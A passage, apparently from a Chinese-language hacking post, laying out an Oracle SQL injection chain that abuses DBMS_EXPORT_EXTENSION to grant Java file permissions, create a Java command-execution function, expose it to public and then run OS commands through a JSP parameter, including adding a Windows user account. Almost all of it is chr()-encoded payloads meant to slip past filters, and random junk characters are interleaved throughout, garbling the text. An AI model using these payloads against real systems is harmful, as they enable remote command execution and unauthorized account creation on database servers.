chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||$ \% ^5 r5 i2 `9 i+ q) s
chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||& T8 Y' }' F7 B$ ^
chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
9 o4 c" H( C5 v: M3 @chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
. X- m Q; o4 q) x: n( S8 uchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
; ^8 K# N h, ~5 Ochr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||% o0 D1 F5 {+ J' p' L0 j9 }# w& E
chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||* w# E3 s" H, M4 |
chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
: x/ a( ~: d5 n4 ], u3 V Y' Kchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||
8 S; d9 d7 L/ Z% E/ c1 o$ \chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||
# l! S- M& a) K ichr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||
6 `3 p! c9 r7 B0 Z1 Z# Q. E, x: ochr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||
5 g9 y2 g+ X/ S2 p, [0 i3 A8 Ichr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||chr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||; ]. ], Y; @" y; a
chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(125)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)
$ ?; g8 o1 T4 e- H0 m,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual9 S( A( P0 U R/ u# P
7 H! F, m7 w1 i* p4 ~, {6 s/ `)0 Q. E `/ I; n8 ~: g" h
; i/ `; d$ Z2 c/ Q; g! L) N3 R------------------------------. o+ X$ D; O h2 j/ ?" n' [
: r' n/ P" j# B& ]8 I
2.赋Java权限# ]4 Q9 l2 v; {, a" J
/xxx.jsp?id=1 and chr(49)<>chr(50)||(' v6 s% ?, C2 v0 B* J+ \. O- h# ?
, B8 v, t2 b c x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
1 [6 z9 F d2 A$ L; c4 X2 z( @chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||4 B* S5 g. E' }5 x+ W
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
8 H0 M8 L G/ m% S; Qchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||- i( l/ `7 G1 i4 G; Y f5 e* D4 m
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(98)||chr(101)||chr(103)||chr(105)||chr(110)||chr(32)||chr(100)||chr(98)||chr(109)||chr(115)||chr(95)||chr(106)||chr(97)||chr(118)||chr(97)||6 n+ a4 S( f( p# `6 {
chr(46)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(95)||chr(112)||chr(101)||chr(114)||chr(109)||chr(105)||chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(40)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(80)||chr(85)||chr(66)||chr(76)||chr(73)||chr(67)||chr(39)||# G7 [8 C: _. W5 ]: p
chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(83)||chr(89)||chr(83)||chr(58)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(105)||chr(111)||chr(46)||chr(70)||chr(105)||chr(108)||chr(101)||chr(80)||chr(101)||chr(114)||chr(109)||chr(105)||
2 F5 f' f/ X7 P# W1 r6 |chr(115)||chr(115)||chr(105)||chr(111)||chr(110)||chr(39)||chr(39)||chr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(60)||chr(60)||chr(65)||chr(76)||chr(76)||chr(32)||chr(70)||chr(73)||chr(76)||chr(69)||chr(83)||chr(62)||chr(62)||chr(39)||chr(39)||
" L C( [ {$ g! S8 J( b! Uchr(39)||chr(39)||chr(44)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(101)||chr(120)||chr(101)||chr(99)||chr(117)||chr(116)||chr(101)||chr(39)||chr(39)||chr(39)||chr(39)||chr(41)||chr(59)||chr(101)||chr(110)||chr(100)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||3 R1 d: A/ ]# f5 x7 c- }
chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45)- N; l. g. T+ B
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual6 y: z) s- ?0 h7 H" o0 f7 G5 R
* s* a$ K; ]( M! F); B3 O7 e3 a/ u/ E
9 V& C% A! V+ t7 `, ~readfile函数的ascii版就不写了,见谅。, X4 J+ B! c: C
4 Y* t# w( ~! x& s+ a$ \! j# E
3.创建函数' b1 D+ S! W: R) X* f
* g: n) K. r: m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
2 A2 Z$ f/ Y' K0 @3 `chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
: U6 e$ i6 e6 o, ] U6 j" F z- a' cchr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||
. c2 Q" }% n# b6 F4 dchr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||. X1 V4 e0 K* i. P w
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||chr(108)||chr(97)||
# a8 z, z$ D5 ochr(99)||chr(101)||chr(32)||chr(102)||chr(117)||chr(110)||chr(99)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(112)||chr(95)||chr(99)||chr(109)||chr(100)||chr(32)||chr(105)||
! i% K: E$ D* cchr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(41)||chr(32)||chr(32)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(118)||chr(97)||chr(114)||chr(99)||chr(104)||chr(97)||chr(114)||chr(50)||chr(32)||chr(32)||
6 N8 y% ~" O$ Achr(97)||chr(115)||chr(32)||chr(108)||chr(97)||chr(110)||chr(103)||chr(117)||chr(97)||chr(103)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(110)||chr(97)||chr(109)||chr(101)||chr(32)||chr(39)||chr(39)||chr(39)||chr(39)||chr(76)||chr(105)||chr(110)||chr(120)||) }% q1 l0 |2 Q; q
chr(85)||chr(116)||chr(105)||chr(108)||chr(46)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(106)||chr(97)||chr(118)||chr(97)||chr(46)||chr(108)||chr(97)||chr(110)||chr(103)||chr(46)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(41)||chr(32)||
3 x$ i; k' y0 l8 b+ U0 y. \( x3 Qchr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(39)||chr(39)||chr(39)||chr(39)||chr(59)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||
, l# Y5 Z' I3 P Uchr(59)||chr(45)||chr(45)
5 z% s+ \ r/ }+ L2 T) P+ B m,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual3 { B0 D" M6 e' p
8 ~/ @2 Z$ } q7 G) r! B
* u" ?6 q. ]5 X- J# U6 K, w
. a7 l9 p7 e8 {; i" L! J( k7 C4.赋public执行函数的权限
8 r6 W k0 c/ c, I+ y! i9 \6 G. |* }- r ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),3 Y, V' T. w; u+ n1 f
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||
2 a0 e$ [5 G+ {6 P$ A' Schr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||3 a. o/ {, x A2 m& }3 I4 {
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||4 z& ~" }5 N# @- J. }0 E/ u
chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(103)||chr(114)||chr(97)||chr(110)||chr(116)||chr(32)||chr(97)||chr(108)||chr(108)||chr(32)||chr(111)||chr(110)||chr(32)||chr(76)||chr(105)||
}$ K$ D. m9 g" E5 b9 Vchr(110)||chr(120)||chr(82)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(32)||chr(116)||chr(111)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||- ]! a1 B& Y, R0 V* }: j Q
chr(59)||chr(45)||chr(45)- U8 a. H6 ~/ m4 q$ Y* Q" O8 U
,chr(83)||chr(89)||chr(83),0,chr(49),0) from dual' c* Z0 H, t" k3 o
' L$ O( u. T b% L+ D4 c# s# r, M+ V; p* W) T2 j" e" K
' W0 y; Z6 P0 F, G+ }( V5.执行命令:' d$ y4 e8 r, n4 k
0 s0 ?' `( P# f' Z% f! t/xxx.jsp?id=1 and chr(49)<>chr(32)||(0 _. }5 y8 m2 j$ P* w; K( M/ f3 G
select sys.LinxRunCMD('cmd /c net user linx /add') from dual) {7 x9 b7 o5 }; p
)% E: {* K, i( C- d# x
/ Y% I+ M& z" l8 \, p
即
4 v3 @% k6 P* c0 w3 F/xxx.jsp?id=1 and chr(49)<>chr(32)||(
5 Y3 _4 T; s ]& Q) M' ]select sys.LinxRunCMD(chr(99)||chr(109)||chr(100)||chr(32)||chr(47)||chr(99)||chr(32)||chr(110)||chr(101)||chr(116)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(32)||chr(47)||chr(97)||chr(100)||chr(100)) from dual2 i3 A& O$ p" [- y4 O, H6 s
)
& r! ]# b. ^/ F) v+ D: } |